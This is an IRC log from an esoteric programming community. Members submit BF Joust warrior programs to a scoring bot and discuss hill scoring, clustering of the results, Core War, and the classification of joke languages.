04:02:40 <Gregor> OVER NINE THOUSAND toasters for YOU, who above all desire toast!
04:03:33 <Sgeo> The source is WTF enough
04:03:51 <Gregor> But the source is a legit (well, legitish) commercial game :P
04:04:57 <quintopia> by legitish, you mean BADLY ANIMATED
04:05:05 <Gregor> By legitish I mean sold :P
04:05:11 <Gregor> But the animation and voice acting are abominably bad.
04:05:15 <Gregor> Which of course is why they use it :P
04:18:55 <quintopia> i think (-.)*256.(-..)*256[-..] on the flag is p much guaranteed to beat it.
04:26:08 <Sgeo> !bfjoust braindead_rush10_w_quintopia_clear(>)*9(-.)*256.(-..)*256[-..]
04:26:08 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
04:26:13 <Sgeo> !bfjoust braindead_rush10_w_quintopia_clear (>)*9(-.)*256.(-..)*256[-..]
04:26:23 <EgoBot> Score for Sgeo_braindead_rush10_w_quintopia_clear: 0.6
04:26:42 <Sgeo> That's just sad
04:26:56 <Sgeo> I win against julius freezer on length 10
04:27:03 <Sgeo> Why am I not surprised?
04:27:22 <Gregor> FREAKING SPACE ELEVATOR
04:27:26 <Sgeo> Sgeo_braindead_rush10_w_quintopia_clear.bfjoust vs ais523_speedy2.bfjoust:
04:27:27 <Sgeo> >>>>>>>>>>X>>XXX>>>XX >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>X>>XXX>>>XX
04:27:27 <Sgeo> ais523_speedy2.bfjoust wins
04:27:36 <Sgeo> Those are some really weird ties
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04:33:17 <Sgeo> !bfjoust braindead_rush10_w_quintopia_clear2 (>)*9(-.)*256.(-..)*256[[-..]]
04:33:27 <EgoBot> Score for Sgeo_braindead_rush10_w_quintopia_clear2: 0.7
04:33:46 <Sgeo> That is perfect
04:36:48 <Sgeo> As in, I find it oddly appropriate that that minor improvement boosted exactly 0.1 points
04:37:09 <Sgeo> elliott_snorlax beat it on length 10
04:37:13 <Sgeo> Tieed on length 30
04:37:29 <Sgeo> Read breakdown.txt
04:37:46 <Sgeo> I was looking at the wrong tab
04:38:03 <Sgeo> What I said stands
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04:38:34 <Sgeo> I did seem to win a lot of length 10 tapes
04:38:52 <Gregor> !bfjoust aspartame_philip http://sprunge.us/SjZO
04:39:01 <EgoBot> Score for Gregor_aspartame_philip: 31.3
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04:39:18 <Gregor> That was definitely worse than I anticipated :P
04:39:34 <quintopia> gregor: where does the name sugar philip come from
04:40:11 <Gregor> quintopia: I'm sure you can think up a plausible source :P
04:40:30 <Gregor> !bfjoust aspartame_philip http://sprunge.us/ZBVV
04:40:37 <EgoBot> Score for Gregor_aspartame_philip: 30.6
04:40:43 <Gregor> !bfjoust aspartame_philip <
04:40:51 <Gregor> Will have to try my luck again tomorrow.
04:41:05 <EgoBot> Score for Gregor_aspartame_philip: 0.0
04:41:20 <Sgeo> Gregor likes filling up on sugary drinks of his own invention.
04:44:31 <quintopia> gregor: a flaw in the current scoring scheme is that a program that just barely loses to another program cannot get any more points by that fact than one that is completely demolished
04:45:24 <Sgeo> Should winning a majority, but not all, tape lengths be allowed to be a valid strategy?
04:45:42 <Sgeo> That was intended as an argument against what quintopia was saying, but it turned into an argument for
04:47:15 <Sgeo> therefore, quintopia is self loathing. Q.E.D.
04:48:19 <quintopia> it should be a valid strategy, but close matches should give some benefit to the loser who nearly pulled it out eh?
04:49:18 <Sgeo> What I'm saying is your scheme would punish those "half of the tape lengths" programs. Which I think could be a good thing
04:51:59 <quintopia> not punish....they already don't get as much benefit for winning under the current system
04:53:21 <Gregor> quintopia: Yeah, but a program that barely wins gets virtually no score from that, so it's continuous.
04:54:55 <quintopia> Gregor: continuous would be assigning 1 point per match and distributing it according to win/loss record. it's very discontinuous now
04:55:46 <Gregor> quintopia: It IS one point per match, and it IS distributed per win/loss record. If your overall score against an opponent is 1, you get 1/84 * their points.
04:56:01 <Gregor> s/overall score/joust points/
04:56:45 <quintopia> i forgot that you did wins-losses for the winner and that that normalizes it
04:58:53 <Gregor> I really think the current system is pretty good, I simply don't like that it isn't fixed-point :P
05:00:16 <Gregor> I find it easy to understand X-P
05:00:45 <quintopia> i understand now why there is no penalty for losing
05:02:09 <quintopia> that would discourage tweaking programs so that they lose less often, because it would drive down the scores of the opponents that beat them, lowering their worth, and thereby offsetting as much value as the tweak created
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05:43:41 <fizzie> Bah, -21 degrees Celsius (-6 °F) outside. Where's my global warming now, huh? Maybe I'll just not get out of bed.
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05:55:06 <impomatic> !bfjoust moonbeam http://corewar.co.uk/2.txt
05:55:15 <EgoBot> Score for impomatic_moonbeam: 26.0
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05:56:48 <Sgeo> impomatic, o.O at you controlling Core Wars?
05:58:58 <impomatic> Sgeo: only corewar.co.uk but I have a top secret evil plan that involves taking over the others!
05:59:16 <Sgeo> What's the official site? That site, or some other site?
05:59:20 <Sgeo> Or is there no official site?
06:02:02 <quintopia> !bfjoust space_elevator http://sprunge.us/Xjif
06:02:25 <impomatic> No official site. The main sites are http://corewar.co.uk http://corewar.info http://koth.org http://users.obs.carnegiescience.edu/birk/COREWAR/koenigstuhl.html and http://sal.math.ualberta.ca
06:02:44 <EgoBot> Score for quintopia_space_elevator: 63.1
06:02:58 <quintopia> hmm. that's a surprisingly big jump for such a small change
06:03:12 <impomatic> !bfjoust changelink http://corewar.co.uk/2.txt
06:03:34 <Sgeo> Is pMARS more up to date than CoreWin?
06:03:39 <EgoBot> Score for impomatic_changelink: 23.8
06:04:39 <impomatic> Quintopia: nice score :-) Neon_glow isn't anything special. I'm surprised it survived so long.
06:05:41 <impomatic> Sgeo: the only real difference is CoreWin has a GUI and tournament scheduler built in.
06:06:00 <quintopia> impomatic: don't you wish we had bf melee? with a circular tape and all the warriors fighting at once?
06:06:57 <impomatic> quintopia: might be fun. No more worries about falling off the tape :-)
06:07:47 <quintopia> instead you have to worry about the other warriors coming from each direction, and the fact that you have to get farther and farther away from your flag as the battle goes on (if you're rushing)
06:09:07 <impomatic> It'd be possible to defend a cell on each side of your flag
06:11:36 <quintopia> seems unlikely but you've just given me an idea >_>
06:14:38 <impomatic> I wonder if it's the same idea I've just had? :-P
06:15:38 <quintopia> i can't actually see how to flesh out my idea at the moment
06:17:30 <quintopia> i thought it might be possible to get a 3-cycle clear stuck on one decoy and a 2-cycle clear stuck on your flag by picking its size just right, and bumping both because you can't tell which one it is on.
06:17:43 <quintopia> however, it involves deducing the offset size probably
06:18:28 <impomatic> Not the same... just defending two cells, one with + the other with -
06:20:26 <impomatic> !bfjoust zapdos http://corewar.co.uk/2.txt
06:20:38 <EgoBot> Score for impomatic_zapdos: 20.1
06:21:55 <quintopia> that looks like it's still defending the flag
06:22:18 <impomatic> !bfjoust mewtwo http://corewar.co.uk/2.txt
06:22:38 <EgoBot> Score for impomatic_mewtwo: 19.1
06:22:44 <quintopia> either way, it's only defending one cell, yes?
06:22:53 <quintopia> and doing so without any control flow?
06:23:12 <impomatic> I haven't tried the two cell thing yet... Just trying some other simple ideas (which ais523 probably already tried)
06:27:36 <impomatic> Not yet. I try not to look at how other stuff works
06:28:05 <impomatic> !bfjoust venusaur http://corewar.co.uk/2.txt
06:28:19 <EgoBot> Score for impomatic_venusaur: 21.2
06:31:19 <quintopia> why don't you look at what other people do?
06:35:12 <impomatic> Because once I've seen the code it'll affect what I write afterwards. I'll take a look when I run out of ideas :-)
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06:36:52 <quintopia> i can't see it affecting what you write in a *bad* way
06:37:29 <quintopia> it means you can't even use egojsout! man, you're missing out :/
06:37:44 <impomatic> !bfjoust moonbeam (>)*8[>]([-]>)*22
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06:37:53 <EgoBot> Score for impomatic_moonbeam: 7.9
06:39:35 <impomatic> !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-])*21
06:39:47 <EgoBot> Score for impomatic_moonbeam: 8.7
06:39:55 <impomatic> !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][-])*21
06:40:28 <EgoBot> Score for impomatic_moonbeam: 10.8
06:41:22 <impomatic> !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][---.])*21
06:41:31 <EgoBot> Score for impomatic_moonbeam: 15.4
06:41:37 <impomatic> !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][+++.])*21
06:41:54 <EgoBot> Score for impomatic_moonbeam: 14.8
06:43:40 <impomatic> !bfjoust moonbeam >(+)*8>(-)*7(>)*6(>+++[-][-.][-..][-...][-....])*21
06:44:01 <EgoBot> Score for impomatic_moonbeam: 13.7
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07:40:31 <fizzie> Gregor: In the score computation, is there a deep, underlying reason why the worth of a program is (points+N)/(M*2) when points has the range [-M, M] thus giving 'worth' values in [1/(M*2), 1+1/(M*2)]? A naive person such as I would think either (points+M)/(M*2) (to get worths of [0, 1]) or (points+N)/(M+N) (to get [1/(M+N), 1]) would make more sense.
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08:15:27 <quintopia> !bfjoust space_elevator http://sprunge.us/HHKX
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08:18:08 <EgoBot> Score for quintopia_space_elevator: 65.6
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08:46:00 <quintopia> !bfjoust space_elevator http://sprunge.us/aaQF
08:46:13 <EgoBot> Score for quintopia_space_elevator: 65.6
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08:52:19 <quintopia> !bfjoust space_elevator http://sprunge.us/ZBdK
08:52:28 <EgoBot> Score for quintopia_space_elevator: 65.7
09:04:02 <quintopia> !bfjoust space_elevator http://sprunge.us/VcMe
09:04:29 <EgoBot> Score for quintopia_space_elevator: 66.0
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09:17:05 <quintopia> meh. i can't see any way to beat saccharin_philip with this variation
09:17:52 <quintopia> the only way to beat is have more decoys, because it doesn't care how big they are, but the decoys it builds for itself are huge
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09:46:14 <fizzie> Dabbled a bit with results-getting, so here's the report.txt table (from an old hill) with red = '+', blue = '-', grey = '0', except it gives in-between shades where the duel points are not max/min/zero.
09:46:19 <fizzie> http://zem.fi/~fis/dpoints.png
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11:22:22 <ais523> umm, http://www.reddit.com/r/programming/comments/fk80r/is_perl_really_a_joke_language/
11:24:13 <ais523> reddit are complaining that the joke languages list doesn't list, e.g., INTERCAL or Brainfuck
11:24:20 <ais523> we should make the purpose of the list clearer
11:24:27 <ais523> and, probably, remove Perl, which is only there as a joke
11:24:54 <Deewiant> http://esolangs.org/w/index.php?title=Joke_language_list&diff=21130&oldid=20883
11:25:23 <fizzie> ais523: Here's a hierarchical-clustering-dendrogram thing computed using the pairwise distance function "sum of differences in duel results (+1, 0, -1) for all shared opponents": http://zem.fi/~fis/clust.png
11:25:44 <ais523> I should clarify the purpose of the page, though
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11:26:57 <ais523> also, why is LOLCODE in that list?
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11:27:07 <fizzie> It seems to think that (quintopia_one_o_them_shudder_thangs, quintopia_good_vibrations) and (Gregor_julius_freezer, Deewiant_sloth) are two pairs of programs that are most similar to each other; while ais523_large_decoy_attack is the strangest.
11:27:08 <ais523> it should be in the main one, much as everyone hates it
11:27:44 <ais523> interesting that chainmail was lumped with defend10 rather than defend7
11:28:21 <ais523> what determines the color scheme?
11:28:28 <fizzie> I have no idea at all.
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11:29:56 <fizzie> "Colors all the descendent links below a cluster node k the same color if k is the first node below the cut threshold t. All links connecting nodes with distances greater than or equal to the threshold are colored blue." + default t of 0.7*max(distance).
11:31:03 <fizzie> So it's basically just a single threshold (of 0.7*max), and those multi-node clusters that are completely below it get their own color.
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11:36:45 <fizzie> This was done using the nearest-point thing, where for clusters u, v we have d(u, v) = min_{i \in u, j \in v} d(x_i, x_j); it would probably look rather different for different distance measurements.
11:37:38 <fizzie> http://zem.fi/~fis/clust2.png -- averaged distances instead of min.
11:38:46 <fizzie> Still considers chainmail with defend10, but at least all defends (+ chainmail) are in a single cluster now.
11:39:04 <ais523> question: TURKEY BOMB: esolang, or joke esolang>
11:39:20 <ais523> I fear it's too underspecified to tell
11:39:41 <ais523> I'll arbitrarily classify it as a joke
11:40:35 <Deewiant> monorail with slowermonorail, too
11:44:19 <ais523> heh, the two phillips are so close the line linking them disappears behind the axis
11:45:10 <ais523> the clusters correspond to what I'd expect now, I think
11:45:25 <ais523> we have defence programs in green, split into shudder-based and lock-based
11:45:30 <Deewiant> I'm a bit surprised to see maglev next to wireless
11:45:49 <ais523> although red also contains some nonstandard defence programs
11:46:07 <ais523> cyan can be thought of as the category of "inconsistent attackers"
11:46:10 <Deewiant> maglev's just so much faster that I'd expect it to differentiate more
11:46:27 <ais523> then purple for more typical slow attackers
11:46:46 <ais523> I'm not entirely sure how to describe the black category, but it's a little small anyway
11:46:53 <Deewiant> monorail is hardly slow IMO :-P
11:46:56 <ais523> perhaps try on a more recent hill, where I think there's more programs that would fall into that category?
11:47:11 <fizzie> ais523: The two philips have, in fact, exactly identical results against all non-philips in this run. (Disclaimer: these have been processed by cranklance, which might have some bugs; and the hill is from 2011-02-12.)
11:47:17 <fizzie> Maybe I should fetch a new one.
11:47:50 <ais523> haha, double_tripwire_avoider's in fifth place with a negative points total?
11:47:53 <Deewiant> Fetch the one where pendolino wasn't ranked below any program it beat: I liked that one
11:48:13 <ais523> also, looks like defend7 finally fell off the hill
11:49:07 <Deewiant> I suspect impomatic's messing-around is to blame for i_like_turtles jumping up to third place
11:50:19 <Deewiant> ais523: You think Text belongs under "languages which make it easy to write programs used as typical examples"?
11:50:27 <Deewiant> After all, it's all about quines
11:50:43 <ais523> perhaps, but it certainly belongs under the "unusable for programming" category
11:50:52 <ais523> which is likely the largest category of jokes
11:53:35 <ais523> oerjan's HQ9+ variant is defined to be TC
11:53:54 <ais523> but that's a joke in its own right, because being TC /by definition/ doesn't give you any clue in how to actually program in it
11:55:14 <fizzie> http://zem.fi/~fis/clust3.png -- new hill.
11:57:27 <ais523> I like that clustering algo
11:57:33 <ais523> I think it's identifying strategies quite well
11:58:06 <Deewiant> fizzie: Can you draw it rotated 90 degrees counterclockwise? Would make it easier to read :-P
12:02:12 <fizzie> http://zem.fi/~fis/clust4.png
12:02:21 <fizzie> The font size refuses to adjust for some reason.
12:02:38 <Deewiant> A bit of cutoff on the right edge, doesn't matter though
12:03:13 <fizzie> Yes, and the names are a bit crowded; I tried to set leaf_font_size, but it doesn't want to change for some reason.
12:03:26 <Deewiant> ais523: Did you remove definder or did it fall off?
12:04:04 <ais523> definder is basically definder2 before it was tweaked to beat turtles and defenders
12:04:19 <ais523> and there are enough turtles and defenders on the hill that definder2 did much better
12:05:43 <fizzie> The philips aren't identical in report.txt, so it might be a cranklance issue. (Same goes for venusaur/changelink.)
12:08:26 <ais523> I'm actually a little surprised at impomatic using Pokémon names for programs
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12:13:44 <impomatic> Another esolang deleted from wikipedia http://en.wikipedia.org/wiki/Taxi_Programming_Language
12:15:23 <fizzie> ais523: You're not the only one. <quintopia> you must love pokemanz <impomatic> Not really. I'm stuck for names!
12:15:59 <ais523> impomatic: that probably makes sense, Taxi is not massively notable, nor does it meet Wikipedia's standards for verifiability
12:16:07 <fizzie> That was a coincidentally timed /join. (Was up in the backscroll pasting that.)
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12:16:23 <ais523> well, there were 493 Pokémon for ages, and a new batch have been added recently
12:16:35 <ais523> but most of the new ones don't have English
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12:16:53 <ais523> (I used to play Pokémon competitively, but the recent rule changes have meant I've lost track)
12:16:58 <impomatic> I was just reading about Joy, Factor, Alice, Pure, Einstein and other languages being up for deletion :-(
12:18:06 <impomatic> ais523: I used to play, but no-one to play with now... I still play MTG though :-)
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12:18:44 <ais523> impomatic: which version?
12:19:26 <impomatic> I didn't know there are different versions!
12:20:02 <ais523> oh, console game or card game?
12:20:14 <ais523> I play the console game, which is rather different
12:20:25 <ais523> (the card game has different versions too by now, though, trying to keep up with the console version)
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13:10:10 <Gregor> <fizzie> Gregor: In the score computation, is there a deep, underlying reason why the worth of a program is (points+N)/(M*2) when points has the range [-M, M] thus giving 'worth' values in [1/(M*2), 1+1/(M*2)]? A naive person such as I would think either (points+M)/(M*2) (to get worths of [0, 1]) or (points+N)/(M+N) (to get [1/(M+N), 1]) would make more sense. // I just didn't want any zero-worth programs.
13:10:35 <fizzie> But now you get more-than-one worth.
13:10:51 <fizzie> You'd get "from small value to 1" with (points+N)/(M+N).
13:10:57 <Gregor> fizzie: If the program has more-than-one worth, by definition you're not getting those points.
13:12:04 <fizzie> It is very friendly of you to not make anyone worthless.
13:12:47 <Gregor> This means that beating the lowest-ranked program isn't entirely valueless, and beating a program that beats everything EXCEPT for you gives you maximum bang for your buck.
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13:17:19 <Gregor> Note however that this was adapted from the FYB hill scoring system, where you always either win or lose (no range), but I'm FAIRLY certain that all the edge cases are as I expected them to be: For instance, if you beat just enough configurations against the opponent that otherwise wins all other rounds with all other opponents, that competitor will have greater-than-one worth, but you still won't get more than 1 from it.
13:18:32 <Gregor> Nowait, I shouldn't think in the morning, it won't have greater than one worth X-P
13:22:09 <fizzie> Yes, I guess it works; if you beat more than a half of the otherwise-wins-everything program, it can't get a positive point contribution from the match against you.
13:23:06 <Gregor> In retrospect I'm pretty sure I carefully arranged it to behave this way, I wanted maximum worth from a program that beats everything but you, but non-zero worth from a program that loses to everything.
13:26:17 <Gregor> !bfjoust brian_doesnt_know_what_hes_doing >(+)*128<(-)*100000
13:26:56 <ais523_> I thought *100000 was bugged in egojoust? or did you fix that?
13:27:08 <Gregor> *-1 is "bugged" in egojoust
13:27:17 <Gregor> In that it does 10K instead of 100K.
13:28:14 <EgoBot> Score for Gregor_brian_doesnt_know_what_hes_doing: 20.8
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13:28:30 <ais523_> what's with the fake flag there?
13:28:55 <Gregor> I didn't write this, I'm submitting it on behalf of a friend who I'm trying to cajole into playing :P
13:29:07 <Gregor> I guess he doesn't realize that setting something exactly to a flag isn't very valuable.
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14:56:19 <Sgeo> I am beginning to believe that Core Wars is dead
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15:05:40 * Sgeo thwacks Phantom_Hoover with a DAT 0 0
15:06:31 <Sgeo> DAT 0, 0 should work just as well
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15:09:26 <Gregor> BF Joust is better than corewars :P
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15:22:52 <ais523_> hmm, putting address format modifiers on DAT potentially makes sense
15:22:57 <ais523_> in case the DAT gets overwritten
15:31:43 <Gregor> (BF Joust is still better)
15:39:10 <Sgeo> Can you overwrite just the command part without overwriting A and B?
15:40:36 <ais523_> I think so, although I'm not sure
15:40:47 <ais523_> I'm far from a Core Wars expert
15:41:22 <ais523_> BF Joust has a lower barrier to entry, though, which is definitely an improvement
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16:23:20 <Grulf> oh noes, wheres oerjan
16:23:51 <Grulf> i find it quite funny to write an article and ~9 months later google it just to find an irc log of people talking about it
16:23:55 <Grulf> and thats why im here.
16:23:56 <ais523_> he turns up every now and then
16:24:16 <ais523_> reading old logs is a common pastime here, perhaps we'll discuss it again sometime
16:24:28 <Grulf> http://www.esolangs.org/w/index.php?title=Calculon some crappy experiment :P
16:25:13 <Grulf> http://webcache.googleusercontent.com/search?q=cache:VoAfPEO6xmUJ:codu.org/projects/trac/esotericlogs/changeset/87%253A876d6344dfac+calculon+esolang&cd=2&hl=de&ct=clnk&gl=de&client=firefox-a&source=www.google.de heres the log
16:25:19 <ais523_> hmm, I should probably put that in categories
16:25:43 <ais523_> and is that a Google cache of an hg repo entry? that's a nicely roundabout way to get to it
16:26:01 <ais523_> hey, what happened to Herobrine?
16:26:11 <ais523_> (we have two logbots, clog and Herobrine; one of them seems down at the moment)
16:26:50 <ais523_> let's see... Calculon looks like a push-down automaton
16:27:19 <ais523_> unless it allows bignums for numbers, in which case it's Turing-complete by simulating a Minsky machine
16:27:39 <Grulf> im not sure i understand :P
16:27:51 <Grulf> the interpreter written in ruby should do that though
16:27:53 <ais523_> Grulf: some languages are more powerful than others, in terms of what you can theoretically write in them
16:28:02 <ais523_> and there are a few standard classes of langauges
16:28:28 <ais523_> what does division do if the result isn't an integer?
16:28:36 <ais523_> just store it as floating-point?
16:28:43 <Grulf> i bet it crashes though
16:29:10 <Grulf> i thought about making a little game with a language similar to that
16:29:21 <ais523_> I can't figure out if that language is push-down, Turing complete, or uncomputable
16:29:33 <Grulf> i could look for the source
16:29:38 <Grulf> i bet its somewhere
16:29:46 <ais523_> I fear it might be simultaneously uncomputable and sub-TC, which would be kind-of impressive
16:30:00 <ais523_> although sqrt might not be enough to make equality undecidable
16:30:29 <ais523_> the lang needs categorising, too, I'll do that
16:30:49 <Grulf> postfix notation is the easiest
16:31:15 <Grulf> id like to write a parser that uses normal one, but that seems really complicated
16:31:21 <ais523_> what year did you first publically release details about the lang?
16:31:25 <ais523_> with that Esolang article?
16:31:47 <Grulf> ill know when i look at the date of the source file, but i think i wrote it right after that :P
16:32:04 <ais523_> well, privately working on something doesn't count because it's too hard to tell
16:33:38 <Grulf> http://pastebin.com/CPSJykX0 D:
16:33:40 <ais523_> and listed now; I hadn't seen it earlier because it wasn't on the list
16:34:18 <ais523_> that doesn't look much like Ruby...
16:34:24 <ais523_> in fact, it looks suspiciously like C++
16:34:33 <Grulf> but somethings wrong, it look incomplete
16:34:49 <Grulf> maybe i was too stupid to do the conditions stuff in c++
16:34:53 <ais523_> well, with double-precision floats, it's definitely just a push-down automaton
16:35:17 <Grulf> ah no, cond is hardcoded
16:35:27 <ais523_> http://www.esolangs.org/wiki/Push-down_automaton for an explanation
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16:37:01 <Grulf> "By the same token, there are certain strings which push-down automata are incapable of recognizing, such as anbncn (that is, a number of a's, followed by the same number of b's followed by the same number of c's.) " huh? what does that mean?
16:37:34 <ais523_> say you have a language with input, like Calculon
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16:37:49 <ais523_> (Calculon takes only numbers as input, so we'll use 1, 2, 3 rather than a, b, c)
16:38:18 <ais523_> now, you want to write a Calculon program which produces different output from an input that consists of n 1s, then n 2s, then n 3s, from anything else
16:38:39 <ais523_> you can't do it, because eventually your double-precision floating point values will run out of precision and be unable to count accurately
16:39:04 <ais523_> (that is, for sufficiently high floating point numbers x, x+1 == x because it's a change too small to fit into the mantissa bits)
16:40:35 <Grulf> why would precision problems only go for pdas?
16:40:43 <Grulf> i dont quite get it :/
16:41:21 <ais523_> I mean, the precision problem is why you can't just store a counter that counts the number of 1s/2s/3s
16:41:24 <ais523_> and compare to see if they're equal
16:41:37 <ais523_> because if you have sufficiently many of them, the counter won't quite be able to tell if they're equal or not
16:42:16 <Sgeo> ". BF Joust seemed like it might be a more accessible version of Core Wars, but I see it's much too susceptible to stupid tricks, and there's only one winning strategy (set decoys, race to the right side of the map, methodically zero every cell in order from left to right). The only variation comes in modifying that strategy."
16:42:40 <Sgeo> http://www.retroprogramming.com/2009/02/bf-joust-hill.html
16:42:50 <ais523_> if you had bignums, you could do that, although Calculon doesn't have a swap-top-two-stack-elements instruction, nor an obvious way to do modulo, so it'd be interesting to figure out what the computational class of bignum Calculon would be (and likewise, if it's restricted to integers)
16:43:00 <ais523_> Sgeo: that was BF Joust 1, which was indeed mostly broken like that
16:43:21 <ais523_> although there are nonetheless a few tricks that can be accomplished in it
16:43:46 <ais523_> the more recent BF Joust specifications avoid those issues
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16:46:35 <Grulf> java has bignums \o/
16:47:27 <ais523_> although generally not by default
16:47:40 <ais523_> in C and C++, you need a library to provide bignums (GMP is a common choice)
16:48:58 <Grulf> im afraid of installing libraries :P
16:49:08 <Grulf> well also i wanna learn java
16:49:40 <ais523_> Java's mostly about the libraries, really; but most of the important ones come with the interpreter
16:54:11 <Grulf> i thought about making a game with robots on a grid
16:54:22 <Grulf> each robot executes his program and does stuff
16:54:31 <Grulf> what the stuff is about i am still not quite too sure
16:54:45 <Grulf> but he might shoot lasers and collect metal.
16:56:20 <ais523_> there have been a few games like that in the past
16:56:32 <ais523_> I'd suggest asking impomatic, who's an expert on that sort of thing
16:56:36 <ais523_> but he doesn't seem to be here at the moment
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16:57:33 <Grulf> i think i know how to do it, just need a few more ideas to make it worth playing around with it a bit
16:58:33 <ais523_> I'm going to change connection, I'll be back in a bit
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17:18:50 <zzo38> DVI format for printed pages is not bad. Why is it not commonly used?
17:20:05 <ais523> I think because DVI readers aren't generally installed on Windows
17:20:08 <ais523> whereas PDF readers are common
17:20:36 <ais523> Microsoft tried to invent their own format as a rival to PDF, and it didn't catch on, likely for the same reason (most people couldn't use it)
17:22:20 <Gregor> I made a version of egojsout that displays an animation of the progress of the tape cells instead of the cycle-by-cycle breakdown.
17:22:41 <ais523> could be fun to watch, though
17:22:49 <ais523> especially if you color the cells by value
17:22:58 <zzo38> There is program convert DVI to PCL. When printing stuff at FreeGeek, that is what I use.
17:23:12 <ais523> have 128/-128 as white, 0 as black, positive numbers in between as shades of red, negative numbers in between as shades of blue
17:23:15 <ais523> so as to form a continuous cycle
17:23:39 <Gregor> ais523: Roughly that turned out not to be so good as 1 wasn't distinct at all.
17:23:49 <Gregor> So instead I made all non-flag non-zero cells full blue.
17:23:54 <ais523> you could have a jump near 0
17:24:05 <Gregor> Yeah, I considered that, but I'm lazy :)
17:24:18 <zzo38> What if you could make it show a longer line for different number?
17:24:46 <Gregor> Ohhh, that's brilliant
17:30:35 <Gregor> http://codu.org/eso/bfjoust/egojsout/anim/egojsout.html Enjoy
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17:43:46 <ais523> animated egojsout seems to really lag firefox
17:44:00 <ais523> upon loading the programs from the list
17:48:02 <ais523> !bfjoust speedy3 >>>>>>>>(>[-[++[+.++.]]])*21
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17:48:19 <ais523> !bfjoust speedy3 >>>>>>>>(>[-[++[+.++]]])*21
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17:50:00 <EgoBot> Score for ais523_speedy3: 36.8
17:50:00 <EgoBot> Score for ais523_speedy3: 36.8
17:54:22 <Grulf> well, /me diappears, gaming
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18:07:26 <ais523> !bfjoust let_sleeping_tripwires_lie >>>>>>>>(>[-[++[(>[-])*20]-(>[-[++[(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]-(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]+(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19])*20]+(>[-[++[(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]-(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]+(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19])*20])*21
18:08:06 <EgoBot> Score for ais523_let_sleeping_tripwires_lie: 15.4
18:08:13 <ais523> take /that/, space_elevator
18:09:00 <ais523> (pity it doesn't really beat anything else, but the general idea counters the whole strategy moderately well; I haven't taken it through to its logical conclusion as the line would become far too long)
18:12:05 -!- elliott has joined.
18:12:24 <elliott> Gregor hasn't written egojoust2 while I was gone? :)
18:12:31 <ais523> I was waiting for firefox to unfreeze
18:12:40 <ais523> he wrote egojsout 2 instead, well an animated version
18:12:45 <ais523> which is less useful, but prettier
18:12:54 <elliott> hmm, is the old version still available?
18:13:56 <quintopia> gregor: i was considering making a colored animation like that
18:14:06 <elliott> 02:08:05 <elliott> 01:42:57 <Patashu> (wins-losses)/number of characters in source
18:14:06 <elliott> 02:08:09 • elliott quit (Remote host closed the connection) (~elliott@unaffiliated/elliott)
18:14:06 <elliott> 02:08:25 <quintopia> that kid...
18:14:07 <ais523> the old version's still at its old URL
18:14:15 <elliott> quintopia: it ended with patashu saying that it would be the end of defend* programs
18:14:15 <ais523> http://codu.org/eso/bfjoust/egojsout/anim/egojsout.html is the new one
18:14:26 <elliott> quintopia: space_elevator would get 0.0000000000001 with that metric :)
18:14:37 <elliott> evidently my client disconnected before i finished pasting and talking :(
18:14:47 <quintopia> gregor: the color scheme i decided would work best is balck for zero, and for all other values, the color wheel as it would look if zero were read
18:14:53 <elliott> ais523: wow, that is pretty
18:15:11 <ais523> I pasted a program that beat space_elevator reasonably convincingly just before you joined
18:15:13 <ais523> but loses to most other things
18:15:18 <elliott> ais523: submit it to the hill
18:15:23 <ais523> (it wasn't specific targeting, but rather strategy countering)
18:15:28 <ais523> I did, it didn't do well
18:15:44 <elliott> I would call this egojsout anim, not egojsout 2 :P
18:16:00 <quintopia> Gregor: and therefore flags start out green like in egojsout, assuming you use the subtractive color wheel
18:16:00 <elliott> it's rather useless, just pretty
18:16:08 <elliott> quintopia: what are you talking about
18:16:45 <elliott> ais523: what do you think of interior_crocodile_alligator? it has multiple syntax errors :)
18:16:50 <elliott> but beats defend13, defend14, space_elevator...
18:16:55 <ais523> I haven't looked at it yet
18:17:00 <elliott> (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20[-[++[(-)*128([-{([+{[-]}])%64}])%64]]]
18:17:11 <ais523> is it simply designed to beat big complex programs? (and does it beat definder2?)
18:17:22 <elliott> ais523: it's defined to beat space_elevator
18:17:27 <elliott> ais523: after quintopia started beating anti_space_elevator
18:17:35 <elliott> ais523: turns out it's not a terrible program, but it only has like 30 score
18:17:35 <ais523> let_sleeping_tripwires_lie works by detecting probable reverse tripwires and putting them back again once it's passed them
18:17:39 <elliott> because it does badly on most programs
18:17:52 <ais523> and that reminds me a bit of cheese and the programs along those lines
18:17:59 <ais523> which reverse direction after a while to utterly confuse defenders
18:18:12 <elliott> ais523: yeah, that's the main thing it does, confuse
18:18:21 <elliott> everything eventually decides it's running at a certain speed
18:18:28 <ais523> counterdefence is relatively easy to write
18:18:36 <elliott> ais523: space_elevator isn't defence
18:19:00 <elliott> usually counter-defence loses against it because it's too slow
18:19:01 <ais523> it goes into defence mode if the tripwires near its flag are disturbed
18:19:22 <ais523> in fact, I thought of writing a fast counter-defender just now, let me try it
18:19:38 <ais523> !bfjoust fast_rush_slow_clear >>>>>>>>(>[+++++[-.]])*21
18:19:50 <EgoBot> Score for ais523_fast_rush_slow_clear: 31.9
18:19:52 <elliott> Pos ID Score Points Program
18:19:52 <elliott> 1 44 65.72 29.81 quintopia_space_elevator.bfjoust
18:20:17 <ais523> FRSC doesn't seem too bad on the current hill, actually
18:20:18 <elliott> 30 25 29.62 -11.88 elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo.bfjoust
18:20:18 <elliott> 31 24 29.47 -5.74 elliott_interior_crocodile_alligator.bfjoust
18:20:18 <elliott> How did my stupid joke variation on crocodile go above it with many less points...
18:20:43 <elliott> !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo <
